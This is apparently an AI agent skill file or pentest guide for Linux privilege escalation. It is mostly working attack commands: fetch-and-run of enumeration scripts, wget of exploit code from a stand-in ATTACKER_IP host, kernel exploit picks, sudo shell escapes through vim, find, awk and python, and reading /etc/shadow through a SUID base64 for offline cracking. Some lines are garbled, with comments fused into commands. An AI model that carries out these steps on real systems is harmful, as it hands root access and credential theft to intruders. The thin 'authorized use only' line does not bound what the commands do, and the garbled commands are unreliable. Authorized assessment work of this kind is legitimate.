Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control.
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
Linux Privilege Escalation
Purpose
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.
Inputs / Prerequisites
Required Access
Low-privilege shell access to target Linux system
Ability to execute commands (interactive or semi-interactive shell)
Network access for reverse shell connections (if needed)
Attacker machine for payload hosting and receiving shells
Technical Requirements
Understanding of Linux filesystem permissions and ownership
Familiarity with common Linux utilities and scripting
Knowledge of kernel versions and associated vulnerabilities
Basic understanding of compilation (gcc) for custom exploits
Recommended Tools
LinPEAS, LinEnum, or Linux Smart Enumeration scripts
Linux Exploit Suggester (LES)
GTFOBins reference for binary exploitation
John the Ripper or Hashcat for password cracking
Netcat or similar for reverse shells
Outputs / Deliverables
Primary Outputs
Root shell access on target system
Privilege escalation path documentation
System enumeration findings report
Recommendations for remediation
Evidence Artifacts
Screenshots of successful privilege escalation
Command output logs demonstrating root access
Identified vulnerability details
Exploited configuration files
Core Workflow
Phase 1: System Enumeration
Basic System Information
Gather fundamental system details for vulnerability research:
# Hostname and system role
hostname
# Kernel version and architectureuname -a
# Detailed kernel informationcat /proc/version
# Operating system details
/etc/issue
/etc/*-release
cat
cat
# Architecture
arch
User and Permission Enumeration
# Current user contextwhoamiid# Users with login shellscat /etc/passwd | grep -v nologin | grep -v false# Users with home directoriescat /etc/passwd | grep home
# Group membershipsgroups# Other logged-in users
w
who
Network Information
# Network interfaces
ifconfig
ip addr
# Routing table
ip route
# Active connections
netstat -antup
ss -tulpn
# Listening services
netstat -l
Process and Service Enumeration
# All running processes
ps aux
ps -ef
# Process tree view
ps axjf
# Services running as root
ps aux | grep root
Environment Variables
# Full environmentenv# PATH variable (for hijacking)echo$PATH
Phase 2: Automated Enumeration
Deploy automated scripts for comprehensive enumeration:
# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./LinEnum.sh -t
# Linux Smart Enumeration
./lse.sh -l 1
# Linux Exploit Suggester
./les.sh
Transfer scripts to target system:
# On attacker machine
python3 -m http.server 8000
# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Phase 3: Kernel Exploits
Identify Kernel Version
uname -r
cat /proc/version
Search for Exploits
# Use Linux Exploit Suggester
./linux-exploit-suggester.sh
# Manual search on exploit-db
searchsploit linux kernel [version]
Common Kernel Exploits
Kernel Version
Exploit
CVE
2.6.x - 3.x
Dirty COW
CVE-2016-5195
4.4.x - 4.13.x
Double Fetch
CVE-2017-16995
5.8+
Dirty Pipe
CVE-2022-0847
Compile and Execute
# Transfer exploit source
wget http://ATTACKER_IP/exploit.c
# Compile on target
gcc exploit.c -o exploit
# Execute
./exploit
# Example: vim with sudosudo vim -c ':!/bin/bash'# Example: find with sudosudo find . -exec /bin/sh \; -quit
# Example: awk with sudosudo awk 'BEGIN {system("/bin/bash")}'# Example: python with sudosudo python -c 'import os; os.system("/bin/bash")'# Example: less with sudosudo less /etc/passwd
!/bin/bash
Hardened systems may have restricted sudo configurations
Legal and Ethical Requirements
Written authorization required before testing
Stay within defined scope boundaries
Report critical findings immediately
Do not access data beyond scope requirements
Examples
Example 1: Sudo to Root via find
Scenario: User has sudo rights for find command
$ sudo -l
User user may run the following commands:
(root) NOPASSWD: /usr/bin/find
$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
Example 2: SUID base64 for Shadow Access
Scenario: base64 binary has SUID bit set
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64
$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::
# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt
